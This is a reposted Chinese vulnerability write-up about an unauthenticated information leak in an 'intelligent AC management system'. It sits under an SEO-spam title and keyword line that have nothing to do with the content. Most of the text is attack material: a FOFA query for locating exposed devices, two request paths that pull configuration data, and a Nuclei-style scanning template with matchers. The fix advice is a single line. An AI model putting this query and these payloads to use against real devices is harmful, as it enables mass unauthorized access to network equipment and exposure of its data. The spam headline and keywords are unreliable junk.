当前位置: 首页> 教育> 高考 > 老司机ae86ug最新人口_免费商城建站_如何创建一个网站_做网络推广

老司机ae86ug最新人口_免费商城建站_如何创建一个网站_做网络推广

时间:2025/8/20 8:40:08来源:https://blog.csdn.net/weixin_70137901/article/details/142351854 浏览次数:0次
老司机ae86ug最新人口_免费商城建站_如何创建一个网站_做网络推广

文章目录

    • 免责声明
    • 漏洞描述
    • 搜索语法
    • 漏洞复现
    • yaml
    • 修复建议

免责声明

本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任

漏洞描述

智能AC管理系统是一个控制管理系统因存在未授权访问导致信息泄露
在这里插入图片描述

搜索语法

fofa

header="HTTPD_ac 1.0" 

漏洞复现

payload

http://ip/actpt.data

在这里插入图片描述
payload

http://ip/actpt_5g.data

在这里插入图片描述

yaml

id: intelligent-AC-Manage-system-Information-breachesinfo: name: 智能AC管理系统信息泄露漏洞author: xldescription: information breachesseverity: highhttp: - raw: - |+GET /actpt.data HTTP/1.1Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36- raw: - |+GET /actpt_5g.data HTTP/1.1Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36matchers-condition: and
matchers: - type: wordpart: bodywords: - 'ap_name'- type: statusstatus:- 200

修复建议

更新到最新版本

关键字:老司机ae86ug最新人口_免费商城建站_如何创建一个网站_做网络推广

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: